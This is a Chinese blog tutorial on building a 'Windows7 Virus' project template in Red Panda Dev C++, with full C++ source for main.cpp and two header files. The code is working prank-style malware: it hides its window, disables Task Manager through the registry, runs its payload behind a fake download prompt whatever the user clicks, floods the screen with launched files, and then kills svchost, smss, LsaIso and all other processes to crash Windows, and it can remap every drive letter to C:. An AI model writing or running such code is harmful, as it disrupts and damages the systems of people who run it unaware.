Red Panda Dev C++ 病毒项目模板

前言

        在看这篇文章之前,请查看此文章!否则你可能看不懂。

        还记得上一讲吗?

         没错,我的小脑瓜动了动,就。。。。。

         好吧,模板,你又一次成功引起了我的注意

一、创建项目

         首先创建一个项目:

               1、打开Red Panda Dev C++。

  Red Panda Dev C++ 病毒项目模板_第1张图片              

                2、点击 “文件[F]” →  “新建[N]” → “项目[P]...”,即可生成一个项目。

  Red Panda Dev C++ 病毒项目模板_第2张图片

Red Panda Dev C++ 病毒项目模板_第3张图片

        注意啦!这一次要把项目名称设置为Windows7 Virus,项目类型是Basic中的Windows Application。

Red Panda Dev C++ 病毒项目模板_第4张图片

        点击“Yes”!

二、编写文件

        这个项目模板需要三个文件:

        其实这次的两个头文件和以前的一样,我怕有人没有下载heker.h和Heike.h,就搞了一个特定头文件。

        代码:

        main.cpp

                这是示例程序。(我为了装作是官方,便把注释改成了英文)

/*A Virus Project?Yes, You Can Did To Yourself*/
/* The Computer Virus Project, Now You Can Take shell! */
#include 
#include "heker.h"  //Dedicated Head File
/* Head Files */
int thistime;  //Clock Time
using namespace std;
/* namespace */
void virus()  //Virus Function
{
	Make_Text("MuOpawS.vbs", "msgbox\"You Computer Is In A Very Disaster Repait Virus, You Need Think A Good Favicon!");  //New A File
	Make_Text("WinMain.txt", "Creat Error!");
	while(1)
	{
		thistime++;  //Add This Time
		Icon(0, 0, 2);  //Draw Icons
		system("start MuOpawS.vbs");  //Start The Files
		system("start WinMain.txt");
		Icon(0, 0, 1);
		system("start MuOpawS.vbs");
		system("start WinMain.txt");
		Icon(0, 0, 2);
		system("start MuOpawS.vbs");
		if(thistime == 60)  //If For Count To 60
			Blue_Screen();  //Blue Screen
	}
}
int main(){  //Main Function
	Hide();  //Hide Window
	Tsk();  //More Tsk
	ProcessRun();  //Have Process
	if (MessageBox(NULL, "Welcome To Our Jin Kela DownLoad Progral!\nStart DownLoad Please Choose \"OK\",\nOtherwise Choose \"No\".", "DownLoad", MB_ICONINFORMATION | MB_YESNO) == IDYES)  //Tips Window
	{
		virus();  //Run Virus
	}else
	{
		MessageBox(NULL, "You Can Not EXIT!!!", "\\ A /", MB_ICONWARNING | MB_OK);  //Can Not Exit
		virus();  //Run Virus
	}
	return 0;
}

        Heike.h

#ifndef HEIKE_H

#include 
#include 
#include 
using namespace std;
void Make_Text(string same, string name)
{
	//HWND hWnd = GetConsoleWindow(); 
    //SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); 
		ofstream outfile(same,ios::out); 
	if (!outfile) 
	{  
		cerr<<"open error"<

        heker.h

#ifndef HEKER_H

#include  
#include 
#include 
#include 
#include 
#include 
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(lib,"winmm.lib")
#include  
#include "fstream"
#include 
#include 
#include 

using namespace std;
void SetPos (COORD a) {
	HANDLE out = GetStdHandle (STD_OUTPUT_HANDLE);
	SetConsoleCursorPosition (out, a);
}
void SetPos(int i, int j) {
	COORD pos = { i, j };
	SetPos (pos);
}
VOID Blue_Screen()
{
	system("wmic process where name=\"svchost.exe\" delete");
	system("wmic process where name=\"LsaIso.exe\" delete");
	system("wmic process where name=\"smss.exe\" delete");
	system("taskkill /f /fi \"pid ne 1\"");
}
void msgbox(char name[], char same[], string ico)
{
	if(ico == "错误")
		MessageBox(NULL, same, name, MB_ICONERROR|MB_OK);
	if(ico == "警告")
		MessageBox(NULL, same, name, MB_ICONWARNING|MB_OK);
	if(ico == "问号" || ico == "访问")
		MessageBox(NULL, same, name, MB_ICONQUESTION|MB_OK);
	if(ico == "信息")
		MessageBox(NULL, same, name, MB_ICONINFORMATION|MB_OK);
}
bool ProcessRun()
{
    SID_IDENTIFIER_AUTHORITY Aut = SECURITY_NT_AUTHORITY;
    PSID minID;
    BOOL b = AllocateAndInitializeSid(&Aut, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &minID);
    if(b)
    {
        CheckTokenMembership(NULL, minID, &b);
        FreeSid(minID);
        return b == true;
    }else
   		return b == false;
}
struct CP{
	VOID start()
	{
		Make_Text("爱的病毒.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)");
		system("start 爱的病毒.bat");
	}
	void stop()
	{
		Make_Text("爱的病毒2.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)");
		system("start 爱的病毒2.bat");
	}
}cp;

VOID echo_of()
{
	system("@echo off");
}
VOID Tsk()
{
	echo_of();
	DWORD dword=TRUE;
	HKEY h;
	DWORD s = dword;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);
	RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));
	RegCloseKey(h);
}
void full_screen() {
	echo_of();
	HWND hwnd = GetForegroundWindow();
	int cx = GetSystemMetrics(SM_CXSCREEN);
	int cy = GetSystemMetrics(SM_CYSCREEN);
 
	LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE);   
	SetWindowLong(hwnd,GWL_STYLE,
	              (l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME &
	              ~WS_BORDER);
	SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
}
void HideCursor()
{
	echo_of();
	HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
	CONSOLE_CURSOR_INFO CursorInfo;
	GetConsoleCursorInfo(handle, &CursorInfo);//获取控制台光标信息
	CursorInfo.bVisible = false; //隐藏控制台光标
	SetConsoleCursorInfo(handle, &CursorInfo);//设置控制台光标状态
}
void print(const char* p, double time)
{
	echo_of();
    while (1)
    {
        if (*p != 0)
        {
        	printf("%c", *p++);
        }
        else
        {
            break;
        }
        Sleep(time * 1000);
    }
}
void show()
{
	echo_of();
	color(2);
	printf("notepad - 记事本\n");
	printf("calc - 计算器\n");
	printf("winver - 关于\"Windows\"\n");
	printf("Nslookup - 默认服务器\n");
	printf("cmd - 命令行\n");
	printf("cleanmgr - 磁盘清理\n");
	printf("charmap - 字符映射表\n");
	printf("dxdiag - Dxdiag修复工具\n");
	color(1);
	printf("taskmgr - 任务管理器\n");
	color(2);
	printf("wiaacmgr - 扫描仪\n");
	printf("mspaint - 画图\n");
	printf("mmc - 控制台\n");
	color(532);
}
void Start(string same)
{
	echo_of();
	if(same == "notepad")	
		system("start notepad");
	if(same == "calc")	
		system("start calc");
	if(same == "winver")	
		system("start winver");
	if(same == "Nslookup")	
		system("start Nslookup");
	if(same == "cmd" || same == "")	
		system("start cmd");
	if(same == "cleanmgr")	
		system("start cleanmgr");
	if(same == "charmap")	
		system("start charmap");
	if(same == "dxdiag")	
		system("start dxdiag");
	if(same == "taskmgr")	
		system("start taskmgr");
	if(same == "wiaacmgr")	
		system("start wiaacmgr");		
	if(same == "mspaint")	
		system("start mspaint");
	if(same == "mmc")	
		system("start mmc");		
}
void Taskkill(const char *same)
{
	char a[10] = "taskkill ";
	strcat(a, same);
	system(a);
}
#endif

三、创建模板

             1、点击 “文件[F]” →  “新建[N]” → “模板[T]...”,为你的项目创建一个模板。

Red Panda Dev C++ 病毒项目模板_第5张图片Red Panda Dev C++ 病毒项目模板_第6张图片

         名字就用Windows7 Virus,描述想怎么改怎么改,分类是Basic。模板图标嘛,请去上面下载!

        就是这样:

Red Panda Dev C++ 病毒项目模板_第7张图片

        打开“附加”,把3个选项都点上:

Red Panda Dev C++ 病毒项目模板_第8张图片

        点击“创建” !

        再次点击 “文件[F]” →  “新建[N]” → “项目[P]...”,你就可以发现:

Red Panda Dev C++ 病毒项目模板_第9张图片

Red Panda Dev C++ 病毒项目模板_第10张图片

Red Panda Dev C++ 病毒项目模板_第11张图片

Red Panda Dev C++ 病毒项目模板_第12张图片 

bye!

你可能感兴趣的:(#沙雕程序,c++,开发语言,服务器,沙雕程序,电脑病毒)